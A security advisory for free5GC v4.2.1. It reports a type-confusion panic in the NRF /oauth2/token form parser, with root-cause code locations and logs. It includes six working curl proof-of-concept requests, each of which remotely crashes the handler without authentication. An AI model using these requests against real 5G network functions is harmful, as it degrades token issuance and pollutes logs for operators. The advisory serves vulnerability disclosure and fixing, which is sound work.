GHSA-f8qv-7x5w-qr48

### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83